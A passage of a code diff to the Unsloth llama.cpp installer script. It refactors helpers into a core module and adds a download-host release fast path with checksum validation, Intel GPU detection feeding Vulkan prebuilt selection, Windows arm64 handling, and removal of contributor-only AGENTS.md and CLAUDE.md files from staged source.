-        provided = sum(1 for library in required if dir_provides_exact_library(directory, library))
-        if provided:
-            matched.append((provided, directory))
-
-    matched.sort(key = lambda item: item[0], reverse = True)
-    return [directory for _, directory in matched]
+    return _core.linux_runtime_dirs_for_required_libraries(_OPS, required_libraries)
 
 
 def detected_linux_runtime_lines() -> tuple[list[str], dict[str, list[str]]]:
-    line_requirements = {
-        f"cuda{m}": [f"libcudart.so.{m}", f"libcublas.so.{m}"]
-        for m in range(_MAX_PROBE_CUDA_MAJOR, _MIN_CUDA_MAJOR - 1, -1)
-    }
-    detected: list[str] = []
-    runtime_dirs: dict[str, list[str]] = {}
-    for line, required in line_requirements.items():
-        dirs = linux_runtime_dirs_for_required_libraries(required)
-        library_matches: dict[str, list[str]] = {}
-        matching_dirs: list[str] = []
-        for library in required:
-            matched_dirs = [
-                directory for directory in dirs if any(Path(directory).glob(f"{library}*"))
-            ]
-            if not matched_dirs:
-                library_matches = {}
-                matching_dirs = []
-                break
-            library_matches[library] = matched_dirs
-            for directory in matched_dirs:
-                if directory not in matching_dirs:
-                    matching_dirs.append(directory)
-        if library_matches:
-            detected.append(line)
-            runtime_dirs[line] = matching_dirs
-    return detected, runtime_dirs
+    return _core.detected_linux_runtime_lines(_OPS)
 
 
-def release_asset_map(release: dict[str, Any]) -> dict[str, str]:
-    assets = release.get("assets")
-    if not isinstance(assets, list):
-        return {}
-    return {
-        asset["name"]: asset.get("browser_download_url", "")
-        for asset in assets
-        if isinstance(asset, dict)
-        and isinstance(asset.get("name"), str)
-        and isinstance(asset.get("browser_download_url"), str)
-    }
+release_asset_map = _core.release_asset_map
 
 
 def parse_published_artifact(raw: Any) -> PublishedLlamaArtifact | None:
@@ -2168,47 +1438,9 @@ def iter_published_release_bundles(
         yield bundle
 
 
-def _artifact_covers_sms(artifact: PublishedLlamaArtifact, host_sms: Iterable[str]) -> bool:
-    """True when every host SM is listed in the artifact's supported_sms and
-    falls within its [min_sm, max_sm] range."""
-    if not artifact.supported_sms or artifact.min_sm is None or artifact.max_sm is None:
-        return False
-    supported = {str(value) for value in artifact.supported_sms}
-    return all(sm in supported and artifact.min_sm <= int(sm) <= artifact.max_sm for sm in host_sms)
-
-
-def _sm_range(artifact: PublishedLlamaArtifact) -> int:
-    """SM-coverage span used as a sort key, where a tighter (smaller) range wins.
-    A bundle with no SM metadata (legacy/upstream-named) gets a max range so it
-    sorts last and can't outrank a real targeted bundle whose tight range would
-    otherwise sort first."""
-    if artifact.min_sm is not None and artifact.max_sm is not None:
-        return artifact.max_sm - artifact.min_sm
-    return 9999
-
-
-def _blackwell_capable_linux_runtime_lines(
-    host_sms: list[str], artifacts: list[PublishedLlamaArtifact]
-) -> list[str]:
-    """CUDA runtime lines (highest major first) shipping a bundle that covers every
-    visible host SM. Lets a Blackwell host prefer a native sm_120 line over torch's
-    reported line, mirroring the Windows Blackwell preference."""
-    lines: set[str] = set()
-    for artifact in artifacts:
-        line = artifact.runtime_line
-        # Only rank "cuda<major>" lines; ignore malformed/future-format values
-        # (e.g. "cuda13.1") so they are skipped, as pre-existing code does, rather
-        # than crashing the major sort.
-        if not (line and line.startswith("cuda") and line[len("cuda") :].isdigit()):
-            continue
-        if not artifact.supported_sms or artifact.min_sm is None or artifact.max_sm is None:
-            continue
-        supported = {str(value) for value in artifact.supported_sms}
-        if all(
-            sm in supported and artifact.min_sm <= int(sm) <= artifact.max_sm for sm in host_sms
-        ):
-            lines.add(line)
-    return sorted(lines, key = lambda line: int(line[len("cuda") :]), reverse = True)
+_artifact_covers_sms = _core.artifact_covers_sms
+_sm_range = _core.sm_range
+_blackwell_capable_linux_runtime_lines = _core.blackwell_capable_linux_runtime_lines
 
 
 def linux_cuda_choice_from_release(
@@ -2457,10 +1689,9 @@ def pinned_published_release_bundle(
     return bundle
 
 
-def validated_checksums_for_bundle(
-    repo: str, bundle: PublishedReleaseBundle
+def _validate_checksums_against_bundle(
+    repo: str, bundle: PublishedReleaseBundle, checksums: ApprovedReleaseChecksums
 ) -> ApprovedReleaseChecksums:
-    checksums = load_approved_release_checksums(repo, bundle.release_tag)
     manifest_hash = checksums.artifacts.get(bundle.manifest_asset_name)
     if manifest_hash is not None and bundle.manifest_sha256 is not None:
         if manifest_hash.sha256 != bundle.manifest_sha256:
@@ -2484,6 +1715,94 @@ def validated_checksums_for_bundle(
     return checksums
 
 
+def validated_checksums_for_bundle(
+    repo: str, bundle: PublishedReleaseBundle
+) -> ApprovedReleaseChecksums:
+    checksums = load_approved_release_checksums(repo, bundle.release_tag)
+    return _validate_checksums_against_bundle(repo, bundle, checksums)
+
+
+def _download_host_resolve_enabled() -> bool:
+    """Escape hatch to force the legacy GitHub API path instead of the
+    download-host fast path (which avoids the api.github.com rate limit)."""
+    return os.environ.get(
+        "UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", ""
+    ).strip().lower() not in {"1", "true", "yes", "on"}
+
+
+def _release_asset_download_url(repo: str, tag: str, asset_name: str) -> str:
+    return _core.release_asset_download_url(repo, tag, asset_name)
+
+
+def _download_host_latest_release_tag(repo: str) -> str | None:
+    return _core.download_host_latest_release_tag(_OPS, repo)
+
+
+def _fetch_download_host_json(url: str) -> Any:
+    return _core.fetch_download_host_json(_OPS, url)
+
+
+def _download_host_resolved_release(repo: str) -> ResolvedPublishedRelease | None:
+    """Resolve the latest fork release from the download host with zero
+    api.github.com calls, reusing the API path's parsing and validation. The latest
+    tag is the authoritative /releases/latest redirect tag, and the checksum asset's
+    self-reported release_tag is cross-checked against it. Returns None (caller falls
+    back to the API) on a missing JSON asset or a tag mismatch."""
+    release_tag = _download_host_latest_release_tag(repo)
+    if not release_tag:
+        return None
+    sha_url = _release_asset_download_url(repo, release_tag, DEFAULT_PUBLISHED_SHA256_ASSET)
+    try:
+        sha_payload = _fetch_download_host_json(sha_url)
+    except urllib.error.HTTPError as exc:
+        if exc.code == 404:
+            return None
+        raise
+    if not isinstance(sha_payload, dict):
+        return None
+    # Cross-check the asset's self-reported release_tag against the authoritative
+    # redirect tag: parse_approved_release_checksums raises on a mismatch.
+    checksums = parse_approved_release_checksums(repo, release_tag, sha_payload)
+    # Synthesize the API release payload with tag-pinned CDN URLs for every named
+    # asset; parse_published_release_bundle then reads the manifest, still no API.
+    asset_names = set(checksums.artifacts) | {
+        DEFAULT_PUBLISHED_MANIFEST_ASSET,
+        DEFAULT_PUBLISHED_SHA256_ASSET,
+    }
+    synthetic_release: dict[str, Any] = {
+        "tag_name": release_tag,
+        "draft": False,
+        "prerelease": False,
+        "assets": [
+            {
+                "name": name,
+                "browser_download_url": _release_asset_download_url(repo, release_tag, name),
+            }
+            for name in sorted(asset_names)
+        ],
+    }
+    try:
+        bundle = parse_published_release_bundle(repo, synthetic_release)
+    except urllib.error.HTTPError as exc:
+        # In-progress release: the checksum asset can land before the manifest;
+        # treat a manifest 404 like the sha256 404 above and fall back to the API.
+        if exc.code == 404:
+            return None
+        raise
+    if bundle is None:
+        return None
+    # A manifest artifact can be keyed in the checksum JSON under an upstream-tag
+    # alias, so add a tag-pinned URL for any manifest artifact missing above (the
+    # API path gets these from the real asset list); sha256 is still verified.
+    for artifact in bundle.artifacts:
+        bundle.assets.setdefault(
+            artifact.asset_name,
+            _release_asset_download_url(repo, release_tag, artifact.asset_name),
+        )
+    _validate_checksums_against_bundle(repo, bundle, checksums)
+    return ResolvedPublishedRelease(bundle = bundle, checksums = checksums)
+
+
 def published_release_matches_request(bundle: PublishedReleaseBundle, requested_ref: str) -> bool:
     if requested_ref == "latest":
         return True
@@ -2550,6 +1869,8 @@ def iter_resolved_published_releases(
     requested_tag: str | None,
     published_repo: str,
     published_release_tag: str = "",
+    *,
+    allow_download_host_fast_path: bool = True,
 ) -> Iterable[ResolvedPublishedRelease]:
     repo = published_repo or DEFAULT_PUBLISHED_REPO
     normalized_requested = normalized_requested_llama_tag(requested_tag)
@@ -2568,6 +1889,29 @@ def iter_resolved_published_releases(
         )
         return
 
+    # Fast path: resolve the fork's latest release from the download host (no
+    # api.github.com rate limit). It surfaces only the single latest release, so the
+    # caller disables it when the multi-release walk-back is needed (macOS skipping
+    # too-new prebuilts); a broken latest then drops to source build, not an older
+    # release. Any rejection/network error is non-fatal and falls through to the API.
+    if (
+        allow_download_host_fast_path
+        and repo == DEFAULT_PUBLISHED_REPO
+        and normalized_requested == "latest"
+        and _download_host_resolve_enabled()
+    ):
+        try:
+            resolved = _download_host_resolved_release(repo)
+        except PrebuiltFallback as exc:
+            log(f"download-host latest release rejected for {repo} ({exc}); trying GitHub API")
+            resolved = None
+        except Exception as exc:
+            log(f"download-host latest resolve unavailable for {repo} ({exc}); trying GitHub API")
+            resolved = None
+        if resolved is not None:
+            yield resolved
+            return
+
     matched_any = False
     skipped_invalid = 0
     yielded_valid = False
@@ -2851,7 +2195,7 @@ def _pick_rocm_gfx_target(out: str) -> str | None:
             break
     if _vis_raw is not None:
         _vis = _vis_raw.strip()
-        # Empty or "-1" means "no AMD GPU visible" (matches the rest of Studio).
+        # Empty or "-1" means "no AMD GPU visible" (matches the rest of Unsloth).
         if _vis == "" or _vis == "-1":
             return None
         _first = _vis.split(",")[0].strip()
@@ -2864,6 +2208,64 @@ def _pick_rocm_gfx_target(out: str) -> str | None:
     return _tokens[0]
 
 
+# Display-adapter device class: one NNNN subkey per installed display driver
+# config, each carrying the driver's DriverDesc and PCI MatchingDeviceId.
+_WINDOWS_DISPLAY_CLASS_KEY = (
+    r"SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}"
+)
+
+
+def windows_intel_gpu_in_registry() -> bool:
+    """Whether the Windows registry lists an Intel display adapter.
+
+    In-process Windows counterpart of the Linux DRM vendor-id check (0x8086),
+    with weaker semantics: the class key lists installed display-driver
+    configs, which can outlive removed hardware, where sysfs lists present
+    devices. A stale Intel entry at worst routes to the upstream Vulkan
+    prebuilt instead of the fork CPU bundle: inference still works (the
+    Vulkan build runs on CPU when no Vulkan device exists), at the cost of
+    fork-only extras such as the DiffusionGemma visual server. detect_host's
+    PowerShell + WMI probe can silently miss a real Intel GPU: a cold
+    powershell.exe start plus the first CIM query routinely exceeds the 15s
+    budget on hosts with slow AV scanning or a degraded WMI repository, and
+    the probe swallows the timeout (#4452, Arc A770 routed to the CPU
+    prebuilt). Reading the display-adapter class key needs no subprocess and
+    answers in microseconds. Matches the PCI vendor id in MatchingDeviceId
+    (ven_8086) or an Intel DriverDesc.
+    """
+    try:
+        import winreg
+    except ImportError:
+        return False
+    try:
+        with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, _WINDOWS_DISPLAY_CLASS_KEY) as class_key:
+            for index in range(winreg.QueryInfoKey(class_key)[0]):
+                try:
+                    name = winreg.EnumKey(class_key, index)
+                    if not name.isdigit():
+                        # "Properties" is ACL-restricted and not an adapter.
+                        continue
+                    with winreg.OpenKey(class_key, name) as adapter_key:
+                        for value_name, needle in (
+                            ("MatchingDeviceId", "ven_8086"),
+                            ("DriverDesc", "intel"),
+                        ):
+                            try:
+                                value, _ = winreg.QueryValueEx(adapter_key, value_name)
+                            except OSError:
+                                continue
+                            if needle in str(value).lower():
+                                return True
+                except OSError:
+                    continue
+    except Exception:
+        # Advisory probe: any unexpected failure must degrade to the CIM
+        # fallback, never crash the installer (mirrors detect_host's own
+        # swallow around the CIM probe).
+        return False
+    return False
+
+
 def detect_host() -> HostInfo:
     system = platform.system()
     machine = platform.machine().lower()
@@ -3075,6 +2477,46 @@ def detect_host() -> HostInfo:
         # Note: amdhip64.dll presence alone is NOT treated as GPU evidence
         # since the HIP SDK can be installed without an AMD GPU.
 
+    # Detect an Intel GPU; gates the Vulkan prebuilt. Linux reads the DRM sysfs
+    # vendor id (0x8086); Windows reads the display-adapter registry class,
+    # then falls back to the WMI video controller list. Only probed with no
+    # usable NVIDIA and no ROCm (matching the Vulkan branches), keeping the
+    # probe (notably the Windows powershell call) off that path.
+    has_intel_gpu = False
+    if not has_usable_nvidia and not has_rocm:
+        if is_linux:
+            for _vendor_file in glob.glob("/sys/class/drm/card*/device/vendor"):
+                try:
+                    with open(_vendor_file) as _vf:
+                        if _vf.read().strip().lower() == "0x8086":
+                            has_intel_gpu = True
+                            break
+                except OSError:
+                    continue
+        elif is_windows:
+            # Registry first (in-process; see windows_intel_gpu_in_registry).
+            # The CIM query stays as the fallback when the registry shows no
+            # Intel adapter.
+            has_intel_gpu = windows_intel_gpu_in_registry()
+            if not has_intel_gpu:
+                _ps = shutil.which("powershell") or shutil.which("pwsh")
+                if _ps:
+                    try:
+                        _result = run_capture(
+                            [
+                                _ps,
+                                "-NoProfile",
+                                "-Command",
+                                "Get-CimInstance Win32_VideoController | "
+                                "Select-Object -ExpandProperty Name",
+                            ],
+                            timeout = 15,
+                        )
+                        if _result.returncode == 0 and "intel" in _result.stdout.lower():
+                            has_intel_gpu = True
+                    except Exception:
+                        pass
+
     return HostInfo(
         system = system,
         machine = machine,
@@ -3090,6 +2532,7 @@ def detect_host() -> HostInfo:
         has_physical_nvidia = has_physical_nvidia,
         has_usable_nvidia = has_usable_nvidia,
         has_rocm = has_rocm,
+        has_intel_gpu = has_intel_gpu,
         rocm_gfx_target = rocm_gfx_target,
         macos_version = macos_version,
     )
@@ -3126,6 +2569,7 @@ def _apply_host_overrides(
             has_physical_nvidia = False,
             has_rocm = False,
             rocm_gfx_target = None,
+            has_intel_gpu = False,
         )
     gfx = _normalize_forwarded_gfx(override_rocm_gfx)
     if gfx:
@@ -3135,21 +2579,6 @@ def _apply_host_overrides(
     return host
 
 
-def published_repo_for_host(host: HostInfo, *, linux_amd_tooling_present: bool = False) -> str:
-    """The release repo setup.sh / setup.ps1 pick for this host: macOS always the
-    fork (ggml-org macOS bundles need too-new macOS); else CPU-only Linux/Windows
-    -> ggml-org upstream (the fork ships no CPU bundle) and any usable GPU (NVIDIA
-    or ROCm) -> the fork. linux_amd_tooling_present mirrors setup.sh routing Linux
-    hosts that expose AMD tooling (rocminfo/amd-smi/hipconfig/hipinfo) to the fork
-    even when the probe cannot confirm an active GPU. Mirrors the shell routing."""
-    if host.is_macos:
-        return DEFAULT_PUBLISHED_REPO
-    has_gpu = (
-        host.has_usable_nvidia or host.has_rocm or (host.is_linux and linux_amd_tooling_present)
-    )
-    return DEFAULT_PUBLISHED_REPO if has_gpu else UPSTREAM_REPO
-
-
 def pick_windows_cuda_runtime(host: HostInfo) -> str | None:
     if not host.driver_cuda_version:
         return None
@@ -3161,38 +2590,14 @@ def pick_windows_cuda_runtime(host: HostInfo) -> str | None:
     return None
 
 
-def compatible_linux_runtime_lines(host: HostInfo) -> list[str]:
-    if not host.driver_cuda_version:
-        return []
-    major, _minor = host.driver_cuda_version
-    if major < _MIN_CUDA_MAJOR:
-        return []
-    return _cuda_runtime_lines_for_major(major)
+compatible_linux_runtime_lines = _core.compatible_linux_runtime_lines
 
 
-def windows_runtime_line_info() -> dict[str, tuple[str, ...]]:
-    # Generated per CUDA major (newest first) so a new toolkit is detected
-    # without a code change while the cudart64_<major>.dll naming holds.
-    return {
-        f"cuda{m}": (
-            f"cudart64_{m}*.dll",
-            f"cublas64_{m}*.dll",
-            f"cublasLt64_{m}*.dll",
-        )
-        for m in range(_MAX_PROBE_CUDA_MAJOR, _MIN_CUDA_MAJOR - 1, -1)
-    }
+windows_runtime_line_info = _core.windows_runtime_line_info
 
 
 def detected_windows_runtime_lines() -> tuple[list[str], dict[str, list[str]]]:
-    dirs = windows_runtime_dirs()
-    detected: list[str] = []
-    runtime_dirs: dict[str, list[str]] = {}
-    for runtime_line, required_patterns in windows_runtime_line_info().items():
-        matching_dirs = windows_runtime_dirs_for_patterns(required_patterns, dirs)
-        if matching_dirs:
-            detected.append(runtime_line)
-            runtime_dirs[runtime_line] = matching_dirs
-    return detected, runtime_dirs
+    return _core.detected_windows_runtime_lines(_OPS)
 
 
 def compatible_windows_runtime_lines(host: HostInfo) -> list[str]:
@@ -3206,68 +2611,8 @@ def compatible_windows_runtime_lines(host: HostInfo) -> list[str]:
     return _cuda_runtime_lines_for_major(major)
 
 
-def runtime_line_from_cuda_version(cuda_version: str | None) -> str | None:
-    if not cuda_version:
-        return None
-    raw = str(cuda_version).strip()
-    if not raw:
-        return None
-    major, _, _ = raw.partition(".")
-    if major == "12":
-        return "cuda12"
-    if major == "13":
-        return "cuda13"
-    return None
-
-
-def detect_torch_cuda_runtime_preference(host: HostInfo) -> CudaRuntimePreference:
-    selection_log: list[str] = []
-    if host.is_macos:
-        selection_log.append("torch_cuda_preference: skipped on macOS")
-        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
-    if not (host.has_usable_nvidia and (host.is_linux or host.is_windows)):
-        selection_log.append(
-            "torch_cuda_preference: skipped because CUDA host prerequisites were not met"
-        )
-        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
-
-    try:
-        import torch
-    except Exception as exc:
-        selection_log.append(f"torch_cuda_preference: import failed: {exc}")
-        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
-
-    cuda_version = getattr(getattr(torch, "version", None), "cuda", None)
-    if not isinstance(cuda_version, str) or not cuda_version.strip():
-        selection_log.append(
-            "torch_cuda_preference: torch.version.cuda missing; skipping Torch shortcut"
-        )
-        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
-
-    try:
-        cuda_available = bool(torch.cuda.is_available())
-    except Exception as exc:
-        selection_log.append(f"torch_cuda_preference: torch.cuda.is_available() failed: {exc}")
-        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
-
-    if not cuda_available:
-        selection_log.append(
-            "torch_cuda_preference: torch.cuda.is_available() returned False; falling back to normal selection"
-        )
-        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
-
-    runtime_line = runtime_line_from_cuda_version(cuda_version)
-    if runtime_line is None:
-        selection_log.append(
-            f"torch_cuda_preference: unsupported torch.version.cuda={cuda_version}; falling back to normal selection"
-        )
-        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
-
-    selection_log.append(
-        "torch_cuda_preference: selected runtime_line="
-        f"{runtime_line} from torch.version.cuda={cuda_version}"
-    )
-    return CudaRuntimePreference(runtime_line = runtime_line, selection_log = selection_log)
+runtime_line_from_cuda_version = _core.runtime_line_from_cuda_version
+detect_torch_cuda_runtime_preference = _core.detect_torch_cuda_runtime_preference
 
 
 def windows_cuda_attempts(
@@ -3438,18 +2783,8 @@ def _windows_cuda_attempt_covers_blackwell(
     return attempt.max_sm is not None and attempt.max_sm >= _BLACKWELL_MIN_SM
 
 
-def _host_is_blackwell(host: HostInfo) -> bool:
-    caps = normalize_compute_caps(host.compute_caps)
-    return bool(caps) and int(caps[-1]) >= _BLACKWELL_MIN_SM
-
-
-def _blackwell_min_toolkit_for_host(host: HostInfo) -> tuple[int, int]:
-    """Minimum CUDA toolkit this Blackwell host needs: 12.8 for the family,
-    12.9 if any of its SMs is sm_103/sm_121 (no native target before 12.9)."""
-    req = _BLACKWELL_MIN_TOOLKIT
-    for sm in normalize_compute_caps(host.compute_caps):
-        req = max(req, _BLACKWELL_SM_MIN_TOOLKIT.get(int(sm), _BLACKWELL_MIN_TOOLKIT))
-    return req
+_host_is_blackwell = _core.host_is_blackwell
+_blackwell_min_toolkit_for_host = _core.blackwell_min_toolkit_for_host
 
 
 def _drop_blackwell_incapable_windows_cuda(
@@ -3881,6 +3216,23 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
                 "falling back to source build with HIP support"
             )
 
+        # Intel (or other non-NVIDIA/non-AMD) GPU: use the Vulkan prebuilt. No
+        # physical NVIDIA (not just no usable one): a CUDA-hidden card must not
+        # be reached through Vulkan, which ignores CUDA_VISIBLE_DEVICES.
+        if host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm:
+            vulkan_name = f"llama-{llama_tag}-bin-ubuntu-vulkan-x64.tar.gz"
+            if vulkan_name in upstream_assets:
+                log(f"Intel GPU detected -- using upstream Vulkan prebuilt {vulkan_name}")
+                return AssetChoice(
+                    repo = UPSTREAM_REPO,
+                    tag = llama_tag,
+                    name = vulkan_name,
+                    url = upstream_assets[vulkan_name],
+                    source_label = "upstream",
+                    install_kind = "linux-vulkan",
+                )
+            log("Intel GPU detected but no Vulkan prebuilt found -- falling back to CPU")
+
         upstream_name = f"llama-{llama_tag}-bin-ubuntu-x64.tar.gz"
         if upstream_name not in upstream_assets:
             raise PrebuiltFallback("upstream Linux CPU asset was not found")
@@ -3923,6 +3275,24 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
                 )
             log("AMD ROCm detected on Windows but no HIP prebuilt found -- falling back to CPU")
 
+        # Intel (or other non-NVIDIA/non-AMD) GPU on Windows: use Vulkan. No
+        # physical NVIDIA so a CUDA-hidden card isn't reached through Vulkan.
+        if host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm:
+            vulkan_name = f"llama-{llama_tag}-bin-win-vulkan-x64.zip"
+            if vulkan_name in upstream_assets:
+                log(
+                    f"Intel GPU detected on Windows -- using upstream Vulkan prebuilt {vulkan_name}"
+                )
+                return AssetChoice(
+                    repo = UPSTREAM_REPO,
+                    tag = llama_tag,
+                    name = vulkan_name,
+                    url = upstream_assets[vulkan_name],
+                    source_label = "upstream",
+                    install_kind = "windows-vulkan",
+                )
+            log("Intel GPU detected on Windows but no Vulkan prebuilt found -- falling back to CPU")
+
         upstream_name = f"llama-{llama_tag}-bin-win-cpu-x64.zip"
         if upstream_name not in upstream_assets:
             raise PrebuiltFallback("upstream Windows CPU asset was not found")
@@ -4015,6 +3385,9 @@ def resolve_release_asset_choice(
             published_choice = published_rocm_choice_for_host(release, host, "windows-rocm")
         else:
             published_choice = published_asset_choice_for_kind(release, "windows-cpu")
+    elif host.is_windows and host.is_arm64:
+        # Windows arm64 has no GPU prebuilt, so it always takes the CPU bundle.
+        published_choice = published_asset_choice_for_kind(release, "windows-arm64")
     elif host.is_macos and host.is_arm64:
         published_choice = published_asset_choice_for_kind(release, "macos-arm64")
     elif host.is_macos and host.is_x86_64:
@@ -4035,169 +3408,7 @@ def resolve_release_asset_choice(
     )
 
 
-def extract_archive(archive_path: Path, destination: Path) -> None:
-    def safe_extract_path(base: Path, member_name: str) -> Path:
-        normalized = member_name.replace("\\", "/")
-        member_path = Path(normalized)
-        if member_path.is_absolute():
-            raise PrebuiltFallback(f"archive member used an absolute path: {member_name}")
-
-        target = (base / member_path).resolve()
-        base_resolved = base.resolve()
-        try:
-            target.relative_to(base_resolved)
-        except ValueError as exc:
-            raise PrebuiltFallback(f"archive member escaped destination: {member_name}") from exc
-        return target
-
-    def _try_repair_missing_slash(
-        member_name: str, link_name: str, archive_names: set[str]
-    ) -> str | None:
-        """Some upstream llama.cpp Mac releases (e.g. b9165, b9169) ship
-        symlinks whose linkname is missing the directory separator AND
-        the leading character of the file basename between the
-        top-level dir and the rest of the path:
-
-            llama-b9165/libggml-rpc.0.dylib -> llama-b9165ibggml-rpc.0.11.1.dylib
-
-        That cannot be resolved as written. Detect the pattern
-        (linkname starts with the top-level dir name but no following
-        slash) and search archive entries under that dir for a real
-        file whose basename ends with the mangled suffix. Only accept
-        when the suffix uniquely identifies a real archive entry.
-        Returns the corrected linkname expressed relative to the
-        member's parent directory -- callers join it with
-        `target.parent`, so a full `top/file` path would double the
-        prefix into `top/top/file`."""
-        if "/" not in member_name or "/" in link_name:
-            return None
-        top, _, _ = member_name.partition("/")
-        if not link_name.startswith(top) or len(link_name) <= len(top):
-            return None
-        bad_suffix = link_name[len(top) :]
-        if not bad_suffix or bad_suffix.startswith("/"):
-            return None
-        prefix = f"{top}/"
-        candidates = [
-            name
-            for name in archive_names
-            if name.startswith(prefix)
-            and "/" not in name[len(prefix) :]
-            and name[len(prefix) :].endswith(bad_suffix)
-        ]
-        if len(candidates) != 1:
-            return None
-        # Strip the top-level dir so the caller's `target.parent / Path(...)`
-        # composition resolves inside the staging dir, not into a duplicate
-        # `top/top/...` path.
-        return candidates[0][len(prefix) :]
-
-    def safe_link_target(
-        base: Path, member_name: str, link_name: str, target: Path, archive_names: set[str]
-    ) -> tuple[str, Path]:
-        normalized = link_name.replace("\\", "/")
-        repaired = _try_repair_missing_slash(member_name, normalized, archive_names)
-        if repaired is not None:
-            normalized = repaired
-        link_path = Path(normalized)
-        if link_path.is_absolute():
-            raise PrebuiltFallback(
-                f"archive link used an absolute target: {member_name} -> {link_name}"
-            )
-        if not normalized:
-            raise PrebuiltFallback(f"archive link used an empty target: {member_name}")
-
-        resolved = (target.parent / link_path).resolve()
-        base_resolved = base.resolve()
-        try:
-            resolved.relative_to(base_resolved)
-        except ValueError as exc:
-            raise PrebuiltFallback(
-                f"archive link escaped destination: {member_name} -> {link_name}"
-            ) from exc
-        return normalized, resolved
-
-    def extract_zip_safely(source: Path, base: Path) -> None:
-        with zipfile.ZipFile(source) as archive:
-            for member in archive.infolist():
-                target = safe_extract_path(base, member.filename)
-                mode = (member.external_attr >> 16) & 0o170000
-                if mode == 0o120000:
-                    raise PrebuiltFallback(
-                        f"zip archive contained a symlink entry: {member.filename}"
-                    )
-                if member.is_dir():
-                    target.mkdir(parents = True, exist_ok = True)
-                    continue
-                target.parent.mkdir(parents = True, exist_ok = True)
-                with archive.open(member, "r") as src, target.open("wb") as dst:
-                    shutil.copyfileobj(src, dst)
-
-    def extract_tar_safely(source: Path, base: Path) -> None:
-        pending_links: list[tuple[tarfile.TarInfo, Path]] = []
-        archive_names: set[str] = set()
-        with tarfile.open(source, "r:gz") as archive:
-            for member in archive.getmembers():
-                archive_names.add(member.name)
-                target = safe_extract_path(base, member.name)
-                if member.isdir():
-                    target.mkdir(parents = True, exist_ok = True)
-                    continue
-                if member.islnk() or member.issym():
-                    pending_links.append((member, target))
-                    continue
-                if not member.isfile():
-                    raise PrebuiltFallback(
-                        f"tar archive contained an unsupported entry: {member.name}"
-                    )
-                target.parent.mkdir(parents = True, exist_ok = True)
-                extracted = archive.extractfile(member)
-                if extracted is None:
-                    raise PrebuiltFallback(f"tar archive entry could not be read: {member.name}")
-                with extracted, target.open("wb") as dst:
-                    shutil.copyfileobj(extracted, dst)
-
-        unresolved = list(pending_links)
-        while unresolved:
-            next_round: list[tuple[tarfile.TarInfo, Path]] = []
-            progressed = False
-            for member, target in unresolved:
-                normalized_link, resolved_target = safe_link_target(
-                    base, member.name, member.linkname, target, archive_names
-                )
-                if not resolved_target.exists() and not resolved_target.is_symlink():
-                    next_round.append((member, target))
-                    continue
-                if resolved_target.is_dir():
-                    raise PrebuiltFallback(
-                        f"archive link targeted a directory: {member.name} -> {member.linkname}"
-                    )
-
-                target.parent.mkdir(parents = True, exist_ok = True)
-                if target.exists() or target.is_symlink():
-                    target.unlink()
-
-                if member.issym():
-                    target.symlink_to(normalized_link)
-                else:
-                    shutil.copy2(resolved_target, target)
-                progressed = True
-
-            if not progressed:
-                details = ", ".join(
-                    f"{member.name} -> {member.linkname}" for member, _ in next_round
-                )
-                raise PrebuiltFallback(f"tar archive contained unresolved link entries: {details}")
-            unresolved = next_round
-
-    destination.mkdir(parents = True, exist_ok = True)
-    if archive_path.name.endswith(".zip"):
-        extract_zip_safely(archive_path, destination)
-        return
-    if archive_path.name.endswith(".tar.gz"):
-        extract_tar_safely(archive_path, destination)
-        return
-    raise PrebuiltFallback(f"unsupported archive format: {archive_path.name}")
+extract_archive = _core.extract_archive
 
 
 def copy_globs(
@@ -4268,7 +3479,7 @@ def ensure_diffusion_visual_server(
     approved_checksums: ApprovedReleaseChecksums,
 ) -> None:
     """Best-effort placement of the DiffusionGemma visual-server binary next to
-    llama-server in the install tree, so Studio can serve DiffusionGemma GGUFs
+    llama-server in the install tree, so Unsloth can serve DiffusionGemma GGUFs
     without any DG_* env. This is an Unsloth artifact (not a ggml-org one), so it
     is optional: if it is already present we just make it executable, otherwise we
     try the published release and quietly skip on absence. A source build
@@ -4364,6 +3575,48 @@ def copy_directory_contents(source_dir: Path, destination: Path) -> None:
             shutil.copy2(item, target)
 
 
+def _is_link_or_junction(path: Path) -> bool:
+    """Return whether ``path`` redirects to another filesystem location."""
+    if os.name == "nt":
+        try:
+            attributes = getattr(path.lstat(), "st_file_attributes", 0)
+        except OSError:
+            return True
+        return bool(attributes & stat.FILE_ATTRIBUTE_REPARSE_POINT)
+    try:
+        return path.is_symlink()
+    except OSError:
+        return True
+
+
+def remove_agent_instruction_files(root: Path) -> int:
+    """Best-effort removal inside a managed tree without following links."""
+    if _is_link_or_junction(root) or not root.is_dir():
+        return 0
+
+    removed = 0
+    for current_dir, dirnames, filenames in os.walk(root, topdown = True, followlinks = False):
+        current_path = Path(current_dir)
+        # followlinks=False still follows Windows junctions.
+        if current_path != root and _is_link_or_junction(current_path):
+            dirnames.clear()
+            continue
+        dirnames[:] = [
+            dirname for dirname in dirnames if not _is_link_or_junction(current_path / dirname)
+        ]
+        for filename in sorted({"AGENTS.md", "CLAUDE.md"}.intersection(filenames)):
+            candidate = current_path / filename
+            try:
+                candidate.unlink()
+            except FileNotFoundError:
+                continue
+            except OSError as exc:
+                log(f"could not remove contributor-only instruction {candidate}: {exc}")
+            else:
+                removed += 1
+    return removed
+
+
 def hydrate_source_tree(
     source_ref: str,
     install_dir: Path,
@@ -4426,6 +3679,9 @@ def hydrate_source_tree(
                 "upstream source archive was missing required repo files: " + ", ".join(missing)
             )
         copy_directory_contents(source_root, install_dir)
+        removed = remove_agent_instruction_files(install_dir)
+        if removed:
+            log(f"removed {removed} contributor-only agent instruction file(s) from staged source")
     except PrebuiltFallback:
         raise
     except Exception as exc:
@@ -4505,7 +3761,7 @@ def runtime_patterns_for_choice(choice: AssetChoice) -> list[str]:
